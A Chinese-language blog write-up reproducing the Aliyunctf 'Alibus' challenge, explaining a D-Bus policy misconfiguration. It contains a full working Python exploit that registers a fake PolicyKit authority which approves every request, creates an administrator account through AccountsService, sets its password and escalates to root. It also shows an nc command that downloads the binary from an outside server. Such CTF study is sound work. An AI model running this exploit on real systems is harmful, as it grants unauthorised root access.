[2024.03.28] Aliyunctf Alibus 复现

Author Avatar
柊 ゆり子 3月28日
  • 在其它设备中阅读本文章

解题思路

nc pwn5.aliyunctf.com 1337

查看 Hint

image-20240328164140767.png

服务的配置文件位于容器 /etc/dbus-1/system.d/alibus.conf

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
        <auth>ANONYMOUS</auth>
        <allow_anonymous/>
        <policy context="default">
                <allow own="*"/>
                <allow own_prefix="org.zbus"/>
                <allow send_destination="*"/>
                <allow send_type="method_call"/>
        </policy>
</busconfig>

D-Bus 是一个为进程间通信提供简单方法的消息总线系统。

阅读 Freedesktop 提供的文档

Rules with the own or own_prefix attribute are checked when a connection attempts to own a well-known bus names. As a special case, own="*" matches any well-known bus name. The well-known session bus normally allows any connection to own any name, while the well-known system bus normally does not allow any connection to own any name, except where allowed by further configuration.

配置文件中 own_prefix="org.zbus"own="*" 覆盖掉了

又因为配置文件允许 ANONYMOUS 认证,所以任何用户都可以向 dbus daemon 注册任意名称的接口。这将构成一个安全漏洞。

查看容器中可以被调用的 dbus 接口名:

$ busctl
NAME                       PID PROCESS USER     CONNECTION    UNIT SESSION DESCRIPTION
:1.0                        20 alibus  root     :1.0          -    -       -
:1.1                        58 busctl  www-data :1.1          -    -       -
org.freedesktop.Accounts     - -       -        (activatable) -    -       -
org.freedesktop.DBus        18 n/a     root     -             -    -       -
org.freedesktop.PolicyKit1   - -       -        (activatable) -    -       -
org.freedesktop.hostname1    - -       -        (activatable) -    -       -
org.freedesktop.locale1      - -       -        (activatable) -    -       -
org.freedesktop.login1       - -       -        (activatable) -    -       -
org.freedesktop.network1     - -       -        (activatable) -    -       -
org.freedesktop.resolve1     - -       -        (activatable) -    -       -
org.freedesktop.systemd1     - -       -        (activatable) -    -       -
org.freedesktop.timedate1    - -       -        (activatable) -    -       -
org.freedesktop.timesync1    - -       -        (activatable) -    -       -
org.zbus.MyService          20 alibus  root     :1.0          -    -       -

(activatable) 表示该接口当前没有被注册,但是被调用时会自动激活

其中 org.freedesktop.Accountsaccount-daemon 提供的一个管理系统用户的接口,提供了一些可以操作系统用户的方法,比如添加用户、修改密码等。当执行添加用户等敏感操作时, account-daemonpolkit 服务提供的 org.freedesktop.PolicyKit1 接口询问鉴权。

通常情况下,当你在系统设置中设置一些敏感项目,会看到以下需要输入密码的对话框:

image-20240328171140784.png

这就是 polkit 服务在通知桌面询问管理员的授权。管理员认证成功后 org.freedesktop.PolicyKit1 接口返回认证成功的消息。

由于该题目中任何用户都可以向 dbus daemon 注册任意名称的接口,且 org.freedesktop.PolicyKit1 当前没有被注册,我们可以起一个自己的进程注册 org.freedesktop.PolicyKit1 ,并在收到鉴权请求时都返回鉴权成功的消息。接着使用 org.freedesktop.Accounts 新建一个管理员用户,使用管理员用户提权并读取 flag。

查看容器中运行的进程,容器中带有 sudo:

$ ps -A
    PID TTY          TIME CMD
      1 ?        00:00:00 timeout
      7 ?        00:00:00 sh
      8 ?        00:00:00 start.sh
     19 ?        00:00:00 dbus-daemon
     20 ?        00:00:00 alibus
     21 ?        00:00:00 sudo
     57 ?        00:00:00 sh
     63 ?        00:00:00 ps

本地环境搭建

为了方便地编写和调试 PoC,我们可以在本地起一个环境。

读取容器中的 /etc/os-release 得知容器基于 Ubuntu 22.04 LTS 搭建的。

下载镜像 ubuntu-22.04.4-live-server-amd64.iso 并安装至虚拟机中,使用 SSH 登录。

镜像系统默认不包含 AccountService ,需要手动安装:

sudo apt install accountsservice

安装后可使用 busctl 命令查看到 org.freedesktop.Accounts 接口

ubuntu-server:~$ busctl
NAME                            PID PROCESS        USER  CONNECTION    UNIT                   SESSION DESCRIPTION
:1.0                              1 systemd        root  :1.0          init.scope             -       -          
:1.1                           6793 systemd-logind root  :1.1          systemd-logind.service -       -          
:1.2                           6798 busctl         user :1.2          session-71.scope       71      -          
com.ubuntu.SoftwareProperties     - -              -     (activatable) -                      -       -          
fi.w1.wpa_supplicant1             - -              -     (activatable) -                      -       -          
io.netplan.Netplan                - -              -     (activatable) -                      -       -          
org.freedesktop.Accounts          - -              -     (activatable) -                      -       -          
org.freedesktop.Avahi             - -              -     (activatable) -                      -       -          
org.freedesktop.DBus              1 systemd        root  -             init.scope             -       -          
org.freedesktop.ModemManager1     - -              -     (activatable) -                      -       -          
org.freedesktop.PackageKit        - -              -     (activatable) -                      -       -          
org.freedesktop.PolicyKit1        - -              -     (activatable) -                      -       -          
org.freedesktop.UDisks2           - -              -     (activatable) -                      -       -          
org.freedesktop.UPower            - -              -     (activatable) -                      -       -          
org.freedesktop.bolt              - -              -     (activatable) -                      -       -          
org.freedesktop.fwupd             - -              -     (activatable) -                      -       -          
org.freedesktop.hostname1         - -              -     (activatable) -                      -       -          
org.freedesktop.locale1           - -              -     (activatable) -                      -       -          
org.freedesktop.login1         6793 systemd-logind root  :1.1          systemd-logind.service -       -          
org.freedesktop.network1          - -              -     (activatable) -                      -       -          
org.freedesktop.nm_dispatcher     - -              -     (activatable) -                      -       -          
org.freedesktop.nm_priv_helper    - -              -     (activatable) -                      -       -          
org.freedesktop.resolve1          - -              -     (activatable) -                      -       -          
org.freedesktop.systemd1          1 systemd        root  :1.0          init.scope             -       -          
org.freedesktop.thermald          - -              -     (activatable) -                      -       -          
org.freedesktop.timedate1         - -              -     (activatable) -                      -       -          
org.freedesktop.timesync1         - -              -     (activatable) -                      -       -       

此时 org.freedesktop.Accounts 接口与 org.freedesktop.PolicyKit1 接口的连接状态都应为 (activatable) ,如果服务已经在运行,可以使用 sudo systemctl restart dbus 命令强制重启 dbus。

将包含安全漏洞的 alibus.conf 放入 /etc/dbus-1/system.d/ 目录下,重启 dbus。

我使用 Python 编写并打包 Poc,为此还需安装 pydbuspyinstaller 等 Python 库。

查看接口调用

在本地搭建的环境中使用 root 用户执行以下命令监控系统中的 dbus 通信:

ubuntu-server:~# busctl monitor

同时新开一个终端,使用 root 账户调用 org.freedesktop.Accounts 接口注册账户,

参数 1 string 类型,为系统用户名

参数 2 string 类型,为 real name

参数 3 int 类型,0 表示普通账户,1 表示管理员账户

更多信息可参考 https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml

注册一个名为 hiiragi 的管理员账户:

ubuntu-server:~# dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hiiragi string:hiiragiyuriko int32:1

返回监控 dbus 通信的终端,发现 AccountService 调用 org.freedesktop.PolicyKit1.Authority 接口的 CheckAuthorization 方法进行鉴权。

......
‣ Type=method_call  Endian=l  Flags=0  Version=1 Cookie=20  Timestamp="Thu 2024-03-28 10:39:25.572418 UTC"
  Sender=:1.9  Destination=:1.10  Path=/org/freedesktop/PolicyKit1/Authority  Interface=org.freedesktop.PolicyKit1.Authority  Member=CheckAuthorization
  UniqueName=:1.9
  MESSAGE "(sa{sv})sa{ss}us" {
          STRUCT "sa{sv}" {
                  STRING "system-bus-name";
                  ARRAY "{sv}" {
                          DICT_ENTRY "sv" {
                                  STRING "name";
                                  VARIANT "s" {
                                          STRING ":1.11";
                                  };
                          };
                  };
          };
          STRING "org.freedesktop.accounts.user-administration";
          ARRAY "{ss}" {
          };
          UINT32 0;
          STRING "";
  };
......

查询 org.freedesktop.PolicyKit1.Authority 接口的 文档

CheckAuthorization (IN  Subject                  subject,
                    IN  String                   action_id,
                    IN  Dict<String,String>      details,
                    IN  CheckAuthorizationFlags  flags,
                    IN  String                   cancellation_id,
                    OUT AuthorizationResult      result)

其中 AuthorizationResult 结构体的定义为

{
  Boolean             is_authorized,
  Boolean             is_challenge,
  Dict<String,String> details
}

当返回 {True, False, ""} 时,表示鉴权成功。

编写 Poc

根据 pydbus 提供的文档和示例,编写 poc.py 实现一个总是返回鉴权成功的鉴权接口:

from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time

loop = GLib.MainLoop()

class Authority(object):
    dbus = '''
<node>
    <interface name="org.freedesktop.PolicyKit1.Authority">
        <method name="CheckAuthorization">
      <arg name="subject" direction="in" type="(sa{sv})">
      </arg>
      <arg name="action_id" direction="in" type="s">
      </arg>
      <arg name="details" direction="in" type="a{ss}">
      </arg>
      <arg name="flags" direction="in" type="u">
      </arg>
      <arg name="cancellation_id" direction="in" type="s">
      </arg>
      <arg name="result" direction="out" type="(bba{ss})">
      </arg>
    </method>
    </interface>
</node>
    '''
    def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
        return [True, False, ""]

def myPolkit():
    with SystemBus() as bus:
        with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
            loop.run()

_thread.start_new_thread(myPolkit, ())
time.sleep(9999)

由于上一步测试注册账户时激活了系统自带的 polkit ,导致脚本运行时会出现

RuntimeError: name already exists on the bus

所以需要重启虚拟机中的 dbus,使 org.freedesktop.PolicyKit1 返回 (activatable) 状态(也是题目容器中的状态):

ubuntu-server:~$ sudo systemctl restart dbus

此时使用普通用户运行脚本:

ubuntu-server:~$ python3 poc.py

新开一个普通用户终端,向 org.freedesktop.Accounts 接口发送新建管理员用户请求:

ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:another_hiiragi string:hiiragiyuriko int32:1

返回:

method return time=1711624151.187000 sender=:1.3 -> destination=:1.5 serial=51 reply_serial=2
   object path "/org/freedesktop/Accounts/User1003"

成功注册了一个 UID 为 1003 的管理员账户。

为了登入该账户并提权,还需对账户设置密码。

使用密码 mikusaikou 生成一段密码哈希:

ubuntu-server:~$ openssl passwd -5 mikusaikou
$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62

org.freedesktop.Accounts 接口发送修改用户密码的请求:

ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62' string:'password hint'

此时用户管理服务同样调用 org.freedesktop.PolicyKit1.Authority 接口进行鉴权,由于鉴权接口总是返回鉴权成功,用户密码被成功修改。

查看系统 /etc/passwd 验证用户被注册:

......
another_hiiragi:x:1003:1003:hiiragiyuriko,,,:/home/another_hiiragi:/bin/bash

查看 /etc/shadow 验证密码被修改:

......
another_hiiragi:$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62:19810:0:99999:7:::

使用用户 another_hiiragi 提权:

user@ubuntu-server:~$ su another_hiiragi
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

another_hiiragi@ubuntu-server:/home/user$ sudo -i
[sudo] password for another_hiiragi: 
root@ubuntu-server:~# whoami
root

至此,编写完整的 poc.exp 实现注册自己的鉴权接口、调用用户管理接口注册管理员账户并设置密码:

from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time

loop = GLib.MainLoop()

class Authority(object):
    dbus = '''
<node>
    <interface name="org.freedesktop.PolicyKit1.Authority">
        <method name="CheckAuthorization">
      <arg name="subject" direction="in" type="(sa{sv})">
      </arg>
      <arg name="action_id" direction="in" type="s">
      </arg>
      <arg name="details" direction="in" type="a{ss}">
      </arg>
      <arg name="flags" direction="in" type="u">
      </arg>
      <arg name="cancellation_id" direction="in" type="s">
      </arg>
      <arg name="result" direction="out" type="(bba{ss})">
      </arg>
    </method>
    </interface>
</node>
    '''
    def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
        return [True, False, ""]

def myPolkit():
    with SystemBus() as bus:
        with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
            loop.run()

_thread.start_new_thread(myPolkit, ())

# wait for dbus publish
time.sleep(2)

#get the system bus
bus_client = SystemBus()
#get account manager object
account_manager = bus_client.get("org.freedesktop.Accounts")

#call CreateUser() and print the result
#result is object path of the new user
user_path = account_manager.CreateUser("hiiragi", "hiiragiyuriko", 1)
print(user_path)

#set user password
account_manager = bus_client.get("org.freedesktop.Accounts", user_path)
#openssl passwd -5 mikusaikou
reply = account_manager.SetPassword('$5$2d6aRfWgJgeE9AjB$uyLmo2Hq1t5Dld.rqoCBV7T557Ebd1zNZn7eY4ISGK.', 'password hint')
print(reply)

测试运行:

ubuntu-server:~$ python3 poc.py 
/org/freedesktop/Accounts/User1002
None

使用 pyinstaller 打包 PoC:

ubuntu-server:~$ pyinstaller -F poc.py

打包后的可执行二进制程序位于 dist/poc

查看依赖:

ubuntu-server:~$ ldd dist/poc 
        linux-vdso.so.1 (0x00007fff0e739000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa4dc316000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fa4dc2fa000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa4dc2f5000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa4dc0cc000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa4dc323000)

由于题目容器也是基于 Ubuntu 22.04 制作的,打包后的可执行程序可以在题目容器中运行。

获取 Flag

找一台连接质量尚可的带有公网 IP 的 VPS,将打包后的 poc 上传至 VPS 中。

题目容器可以访问公网,但是没有 wget、curl 等命令,只有 nc。我们可以使用 nc 将 poc 传输至题目容器。

在 VPS 端监听 3428 端口:

➜  ~ nc -lvvp 3428 <./poc
Listening on any address 3428 (twcss)

在题目容器连接 VPS 端口并将文件保存至 /tmp/poc :( 其中 [redacted] 为 VPS 公网 IP)

$ nc [redacted] 3428 > /tmp/poc

传输过程中不会显示进度,需要估算传输时间并耐心等待。此时不要操作 VPS 端,否则可能造成接收的文件损坏。

等待一段时间后,在 VPS 端按下 Ctrl + C 停止 nc 进程,然后返回题目容器按下 Enter 退出 nc 返回 shell 命令行。

PoC 完整性可以使用 md5sum 命令进行校验 。

确保传输无误后给 PoC 添加可执行权限并执行,成功注册了一个 UID 为 1000 的管理员账户:

$ chmod +x /tmp/poc
$ /tmp/poc
/org/freedesktop/Accounts/User1000
None

切换到该账户,使用 sudo 提权:

image-20240328195731812.png

成功获取到 Flag.

本文链接:https://blog.hiirachan.moe/archives/473.html
This blog is under a CC BY-NC-SA 3.0 Unported License

本站不提供任何可用于侵入、非法控制计算机信息系统的程序、工具
不提供非法定信道进行国际联网

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.